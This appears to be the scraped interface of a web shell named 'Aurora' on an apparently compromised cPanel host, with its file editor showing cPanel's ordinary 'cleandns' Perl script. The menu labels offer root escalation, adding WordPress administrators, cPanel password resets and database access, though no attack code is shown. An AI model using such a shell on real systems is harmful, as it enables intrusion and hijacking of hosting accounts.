Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
scripts
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: cleandns
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/cleandns Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::cleandns; use strict; use warnings; use Getopt::Long (); use File::Basename (); use Cpanel::SafeFile (); use Cpanel::DNSLib (); use Cpanel::Hostname (); use Cpanel::FileUtils::Move (); use Cpanel::FileUtils::Copy (); use Cpanel::Logger (); use Cpanel::SafetyBits (); use Cpanel::StringFunc::Count (); use Cpanel::StringFunc::Match (); exit main(@ARGV) unless caller(); sub help { print "USAGE:\n\t$0\n\nRemoves zones no longer operated by cPanel users on this host, and removes duplicate zone definitions.\n"; return 1; } #Only use prints if you expect to shoot this over to a web interface, otherwise logger() stuff sub main { my @args = @_; my $logger = Cpanel::Logger->new(); my ( $restart, $help ); Getopt::Long::GetOptionsFromArray( \@args, v => \$Cpanel::Debug::level, r => \$restart, 'h|help' => \$help, ); return help() if $help; my $dnslib = Cpanel::DNSLib->new(); my $namedconf = $dnslib->{'namedconf'}; my ( $confstatus, $confresult ) = remove_warnings_checknamedconf( $dnslib->checknamedconf() ); my @confresults = split( /\n/, $confresult ); my @only_dupes = grep { m/already exists previous definition/i } @confresults; my $only_dupe_errors = ( scalar(@only_dupes) == scalar(@confresults) ); if ( !$confstatus && !$only_dupe_errors ) { $logger->warn("Fatal! $namedconf fails named-checkconf, please repair named.conf and try again"); $logger->warn($confresult); print "$namedconf is in a state that cannot be automatically corrected.\n"; print "Please address these issues and before trying again."; return 1; } my $binduser = $dnslib->{'data'}{'binduser'}; my $bindgrp = $dnslib->{'data'}{'bindgroup'}; my %ZONES = gather_zones( $logger, $dnslib, $namedconf, $binduser, $bindgrp ); $logger->debug("The following zone and zonefiles were found"); $logger->debug("zones with out corresponding zone file (and duplicates) will be removed"); $logger->debug("========================================================"); foreach my $key ( sort keys %ZONES ) { $logger->debug("$key ==> $ZONES{$key}"); } $logger->debug("========================================================"); Cpanel::FileUtils::Copy::safecopy( $namedconf, $namedconf . '.precleandns' ); my ( $NDC, $namelock, @CONF ) = build_clean_config( $logger, $namedconf, %ZONES ); write_cleaned_config( $namedconf, $namelock, $NDC, @CONF ); ( $confstatus, $confresult ) = remove_warnings_checknamedconf( $dnslib->checknamedconf() ); if ( !$confstatus ) { $logger->warn("cleandns was unable to properly clean $namedconf"); $logger->warn($confresult); $logger->info("Reverting to original version."); Cpanel::FileUtils::Copy::safecopy( $namedconf, $namedconf . '.brokencleandns' ); Cpanel::FileUtils::Move::safemv( "-f", $namedconf . 'precleandns', $namedconf ); Cpanel::SafetyBits::safe_chown( $binduser, $bindgrp, $namedconf ); print "There was an error running the DNS cleanup. Please check the cPanel error logs."; return 2; } my $shorthost = Cpanel::Hostname::shorthostname(); if ( !$shorthost ) { $shorthost = 'localhost'; my $host_name_not_properly_set_msg = "Your hostname is not properly set, please run /usr/local/cpanel/bin/set_hostname"; say STDERR ($host_name_not_properly_set_msg); $logger->warn($host_name_not_properly_set_msg); } my $numzones = scalar keys %ZONES; $logger->info("DNS cleanup successful"); print "Cleaned up " . $numzones . " zone(s) on $shorthost."; if ($restart) { $logger->info("Restarting Bind using restartsrv"); exec '/usr/local/cpanel/scripts/restartsrv', 'named'; } $logger->debug("Bind will not be restarted automatically."); $logger->debug("To restart Bind run the following: /usr/local/cpanel/scripts/restartsrv_named"); return 0; } sub _is_line_comment { my ( $line, $cppcomment, $callback ) = @_; # Rudimentary comment exclusion. if ($cppcomment) { if ( $line =~ m/\*\// ) { $cppcomment = 0; } $callback->($line) if $callback; return ( 1, $cppcomment ); } if ( $line =~ m/^\s*\#/ ) { $callback->($line) if $callback; return ( 1, $cppcomment ); } if ( $line =~ m/^\s\/\// ) { $callback->($line) if $callback; return ( 1, $cppcomment ); } if ( $line =~ m/^\s*\/\*/ ) { $cppcomment = 1; $callback->($line) if $callback; return ( 1, $cppcomment ); } return ( 0, $cppcomment ); } # XXX I am dissatisfied with this loop and build_clean_config being nearly the same. # This means we are straight up wasting time in this script which is called by dnsadmin # and hence needs good performance. sub gather_zones { ## no critic(ProhibitExcessComplexity) my ( $logger, $dnslib, $namedconf, $binduser, $bindgrp ) = @_; my %ZONES; my $inc = 0; my $seenhint = 0; my $zone = ''; my ( $numbrace, $zonemarker, $cppcomment, $continue ) = ( 0, 0, 0, 0 ); my $zonedir = $dnslib->{'data'}{'zonefiledir'}; # Read through named.conf. Gather hash of zones and zone files open( my $NDC, '<', $namedconf ) || $logger->die("Unable to open $namedconf: $!"); while (<$NDC>) { ( $continue, $cppcomment ) = _is_line_comment( $_, $cppcomment ); next if $continue; if ($zonemarker) { $numbrace += Cpanel::StringFunc::Count::get_curly_brace_count($_); if ( $numbrace == 0 ) { $zonemarker = 0; } if (m/.*[\s\t\;\{]file\s+["']([^"']+)/) { my $file = $1; my $relativedir = ''; if ( !Cpanel::StringFunc::Match::beginmatch( $file, '/' ) ) { if ( $file =~ m/^([^\/]+)/ ) { $relativedir = $1; } } if ( -e $file ) { $ZONES{$zone} = $file; } else { my $filename = File::Basename::basename($file); my $filenew = $zonedir . '/' . $filename; if ( -e $filenew ) { $ZONES{$zone} = $filenew; } elsif ( $relativedir ne '' && -e $zonedir . '/' . $relativedir . '/' . $filename ) { $ZONES{$zone} = $zonedir . '/' . $relativedir . '/' . $filename; } elsif ( -e '/' . $file ) { $ZONES{$zone} = '/' . $file; } else { $ZONES{$zone} = ''; } } next(); } if (m/.*[\s\t\;\{]type\s+slave/) { delete( $ZONES{$zone} ); } } if (m/\s*zone\s+["']([^"']+)/) { $zone = $1; $zonemarker = 1; $numbrace += Cpanel::StringFunc::Count::get_curly_brace_count($_); if (m/.*[\s\t\;\{]file\s+["']([^"']+)/) { my $file = $1; my $relativedir = ''; if ( !Cpanel::StringFunc::Match::beginmatch( $file, '/' ) ) { if ( $file =~ m/^([^\/]+)/ ) { $relativedir = $1; } } if ( -e $file ) { $ZONES{$zone} = $file; } else { my $filename = File::Basename::basename($file); my $filenew = $zonedir . '/' . $filename; if ( -e $filenew ) { $ZONES{$zone} = $filenew; } elsif ( $relativedir ne '' && -e $zonedir . '/' . $relativedir . '/' . $filename ) { $ZONES{$zone} = $zonedir . '/' . $relativedir . '/' . $filename; } elsif ( -e '/' . $file ) { $ZONES{$zone} = '/' . $file; } elsif ( $zone eq '.' ) { Cpanel::FileUtils::Copy::safecopy( '/usr/local/cpanel/scripts/named.ca', $filenew ); Cpanel::SafetyBits::safe_chown( $binduser, $bindgrp, $filenew ); $ZONES{$zone} = $filenew; } else { $ZONES{$zone} = ''; } } next; } } if ( !$zonemarker ) { next; } else { $numbrace += Cpanel::StringFunc::Count::get_curly_brace_count($_); if ( $numbrace == 0 ) { $inc = 0; } } } close($NDC); return %ZONES; } sub build_clean_config { my ( $logger, $namedconf, %ZONES ) = @_; my @CONF; my $zone = ''; my ( $numbrace, $zonemarker, $cppcomment, $continue ) = ( 0, 0, 0, 0 ); # Modify named.conf and remove bad entries. my $namelock = Cpanel::SafeFile::safeopen( my $NDC, "+<", $namedconf ); if ( !$namelock ) { $logger->die("Could not open $namedconf"); } my $seen_already = {}; my $what_view = 'none'; while (<$NDC>) { ( $continue, $cppcomment ) = _is_line_comment( $_, $cppcomment, sub { push( @CONF, shift ) } ); next if $continue; #Gotta know what view we are in to filter dupes out m/\s*view\s+["']([^"']+)/; $what_view = $1 if $1; if ($zonemarker) { $numbrace += Cpanel::StringFunc::Count::get_curly_brace_count($_); if ( $numbrace == 0 ) { $zonemarker = 0; } if ( defined( $ZONES{$zone} ) && $ZONES{$zone} eq '' ) { next; } elsif ( !defined( $ZONES{$zone} ) ) { push @CONF, $_; next; } elsif (m/(.*[\s\t\;\{])file\s+["']/) { my $space = $1; push @CONF, $space . "file \"$ZONES{$zone}\"\;\n"; next; } else { push @CONF, $_; next; } } if (m/\s*zone\s+["']([^"']+)/) { $zone = $1; $seen_already->{"$what_view.$zone"}++; if ( $seen_already->{"$what_view.$zone"} && $seen_already->{"$what_view.$zone"} > 1 ) { $zonemarker = 0; next; } $zonemarker = 1; $numbrace += Cpanel::StringFunc::Count::get_curly_brace_count($_); if ( defined( $ZONES{$zone} ) && $ZONES{$zone} eq '' ) { next(); } elsif ( !defined( $ZONES{$zone} ) ) { push( @CONF, $_ ); next(); } elsif (m/(.*[\s\t\;\{])file\s+["']/) { my $space = $1; push @CONF, $space . "file \"$ZONES{$zone}\"\;\n"; next; } else { push @CONF, $_; next; } } #Evade warnings my $skip_dupe_body = ( $what_view && $zone && $seen_already->{"$what_view.$zone"} && $seen_already->{"$what_view.$zone"} > 1 ); if ( !$zonemarker && !$skip_dupe_body ) { push @CONF, $_; } } seek( $NDC, 0, 0 ); return ( $NDC, $namelock, @CONF ); } sub write_cleaned_config { my ( $namedconf, $namelock, $NDC, @CONF ) = @_; my $deadline = 0; foreach (@CONF) { if (m/^[\r\n\s\t]*$/) { $deadline++; } else { $deadline = 0; } if ( $deadline < 2 ) { print $NDC $_; } } print $NDC "\n"; truncate( $NDC, tell($NDC) ); unlink("$namedconf.cache"); Cpanel::SafeFile::safeclose( $NDC, $namelock ); return 1; } sub remove_warnings_checknamedconf { my ( $configstatus, $configresult ) = @_; return ( $configstatus, $configresult ) if $configstatus; my $config_warning_rx = qr/option 'additional-from-cache' (?:is obsolete|no longer exists)/; my @errors = split "\n", $configresult; return ( $configstatus, $configresult ) unless scalar @errors; my $new_config_result = []; foreach my $errorLine (@errors) { push @{$new_config_result}, $errorLine unless $errorLine =~ /$config_warning_rx/; } $configstatus = 1 if $#{$new_config_result} < 0; $configresult = join( "\n", @{$new_config_result} ); return ( $configstatus, $configresult ); } 1; #magic true since this is included in build-tools/clean_test_cruft